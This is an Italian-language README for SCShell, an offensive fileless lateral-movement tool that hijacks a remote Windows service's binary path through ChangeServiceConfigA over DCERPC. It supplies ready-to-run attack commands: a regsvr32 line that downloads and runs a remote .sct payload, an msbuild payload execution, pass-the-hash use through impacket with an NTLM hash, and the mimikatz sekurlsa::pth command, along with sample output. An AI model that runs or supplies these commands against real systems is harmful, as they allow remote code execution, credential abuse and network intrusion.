
Strumento di movimento laterale senza file che si basa su ChangeServiceConfigA per eseguire comandi
SCShell è uno strumento di movimento laterale senza file che si basa su ChangeServiceConfigA per eseguire comandi. Il bello di questo strumento è che non esegue l'autenticazione tramite SMB. Tutto avviene tramite DCERPC.
L'utility può essere usata da remoto SENZA registrare o creare un servizio. Inoltre non è necessario lasciare alcun file sul sistema remoto* (Dipende dalla tecnica usata per eseguire)
Invece di creare un servizio, apre semplicemente un servizio da remoto e modifica il nome del percorso binario tramite l'API ChangeServiceConfigA.
Poi avvia il servizio.
Una volta completata l'esecuzione, il percorso binario del servizio viene ripristinato a quello originale. Il percorso originale del servizio viene estratto usando QueryServiceConfigA.
Tutto avviene tramite DCERPC, inclusa l'autenticazione.

La build attuale è scritta in C ma la porterò a C# e PowerShell.
Usage:
SCShell.exe target service payload domain username password
target può essere impostato su local per eseguire il payload localmente
Esecuzione remota
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Raccomando di usare C:\windows\system32\cmd.exe /c per assicurarsi che il payload non venga ucciso quando il servizio si arresta. È NECESSARIO usare il percorso completo.
Puoi anche usare un payload msbuild
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
Sto usando XblAuthManager come target, che è il servizio Xbox Accessory Management
scshell.py è un'implementazione in Python 2 e 3 di SCShell. Usando il progetto impacket può essere facilmente utilizzato per eseguire lo stesso movimento laterale usando il passaggio dell'hash.
Installazione
pip install impacket
Utilizzo
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Puoi utilizzare l'utility in C per passare l'hash. Per impostazione predefinita verrà utilizzato il token del processo corrente. Puoi impostare il token del processo corrente usando l'approccio standard di passaggio dell'hash.
Sul sistema locale
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Quindi esegui SCShell.exe all'interno del cmd.exe appena creato.
Il codice è stato compilato su Windows usando il compilatore GCC Mingw
Mr.Un1k0d3r RingZer0 Team
Tazz0 per il supporto morale